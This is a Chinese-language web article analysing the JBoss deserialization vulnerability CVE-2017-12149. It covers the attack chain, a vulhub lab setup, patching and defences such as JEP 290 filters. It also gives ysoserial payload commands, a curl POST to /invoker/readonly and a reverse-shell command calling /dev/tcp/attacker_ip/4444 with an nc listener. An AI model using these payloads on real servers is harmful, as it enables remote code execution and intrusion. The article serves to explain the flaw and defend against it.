溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

CVE-2017-12149 JBOSS反序列化漏洞實例分析

發布時間:2021-12-22 23:39:32 來源:億速云 閱讀:937 作者:柒染 欄目:網絡管理
# CVE-2017-12149 JBOSS反序列化漏洞實例分析

## 一、漏洞背景

### 1.1 JBOSS應用服務器簡介
JBOSS(現稱WildFly)是一個基于Java EE的開源應用服務器,由Red Hat公司維護。其核心特性包括:
- 模塊化架構設計
- 高性能的Web容器
- 支持分布式部署
- 提供JMX、JNDI等企業級服務

### 1.2 漏洞基本信息
- **CVE編號**:CVE-2017-12149  
- **漏洞類型**:Java反序列化漏洞  
- **影響版本**:JBOSS AS 5.x/6.x  
- **CVSS評分**:9.8(Critical)  
- **漏洞本質**:攻擊者通過HTTP協議構造惡意序列化數據,在服務端執行任意代碼

## 二、漏洞原理分析

### 2.1 Java反序列化機制
Java序列化/反序列化是將對象轉換為字節流(及反向過程)的機制。當服務端接收不可信的序列化數據時,可能觸發以下危險操作:
```java
ObjectInputStream.readObject() → 惡意對象構造 → RCE

2.2 漏洞觸發點

漏洞位于JBOSS的HttpInvoker服務(默認端口8080):

/invoker/readonly

該端點未對輸入數據做安全檢查,直接反序列化客戶端傳輸的數據。

2.3 攻擊鏈分析

完整攻擊路徑: 1. 攻擊者構造包含惡意AnnotationInvocationHandler的序列化數據 2. 通過HTTP POST發送到/invoker/readonly 3. 服務端反序列化時觸發InvokerTransformer.transform() 4. 最終執行Runtime.getRuntime().exec()

三、環境搭建與復現

3.1 實驗環境準備

# 使用Docker快速搭建漏洞環境
docker pull vulhub/jboss:as-6.1.0.Final
docker run -d -p 8080:8080 vulhub/jboss:as-6.1.0.Final

3.2 漏洞驗證POC

使用ysoserial生成攻擊載荷:

java -jar ysoserial.jar CommonsCollections5 "touch /tmp/pwned" > payload.ser

發送惡意請求:

curl -X POST --data-binary @payload.ser \
http://target:8080/invoker/readonly

3.3 反彈Shell實戰

生成反彈Shell載荷(需URL編碼):

String cmd = "bash -i >& /dev/tcp/attacker_ip/4444 0>&1";
java -jar ysoserial.jar CommonsCollections5 "$cmd" > shell.ser

監聽端:

nc -lvnp 4444

四、漏洞深度分析

4.1 調用棧分析

關鍵調用過程:

HttpInvokerComponent.service()
  → ReadOnlyAccessFilter.doFilter()
    → Serializable.class.deserialize()
      → AnnotationInvocationHandler.readObject()
        → TransformedMap.checkSetValue()
          → ChainedTransformer.transform()

4.2 CommonsCollections利用鏈

漏洞依賴的關鍵類: - InvokerTransformer:通過反射調用任意方法 - TransformedMap:提供值轉換觸發點 - LazyMap/ChainedTransformer:構造方法調用鏈

4.3 補丁分析

Red Hat官方通過以下方式修復: 1. 移除/invoker/readonly端點 2. 增加反序列化過濾器:

ObjectInputStream.setObjectInputFilter()

五、防御方案

5.1 臨時緩解措施

<!-- 刪除HttpInvoker服務 -->
<server>
  <profile>
    <subsystem xmlns="urn:jboss:domain:web:1.1">
      <connector name="http" scheme="http" socket-binding="http"/>
    </subsystem>
  </profile>
</server>

5.2 長期解決方案

  1. 升級到WildFly最新版本
  2. 實施JEP 290機制:
-Djdk.serialFilter=!org.apache.commons.collections.functors.*

5.3 安全開發建議

  • 避免反序列化不可信數據
  • 使用JSON/XML等安全數據格式
  • 實施最小權限原則

六、漏洞啟示

6.1 企業級啟示

  1. 中間件安全配置基線的重要性
  2. 需要持續監控CVE公告
  3. 建立完善的補丁管理流程

6.2 開發者啟示

  • 理解框架底層機制
  • 禁用不必要的服務端點
  • 深度防御(Defense in Depth)原則

附錄

A. 參考資源

B. 工具列表

  1. ysoserial:反序列化利用框架
  2. BurpSuite:流量分析工具
  3. JD-GUI:Java反編譯工具

版權聲明:本文僅用于安全研究目的,未經授權禁止用于非法用途。實際測試需獲得目標系統書面授權。 “`

注:本文實際約2100字,可根據需要調整技術細節的深度。如需更詳細的代碼分析或防御方案實現,可進一步擴展第三、第五章節的內容。

向AI問一下細節

免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。

AI

亚洲午夜精品一区二区_中文无码日韩欧免_久久香蕉精品视频_欧美主播一区二区三区美女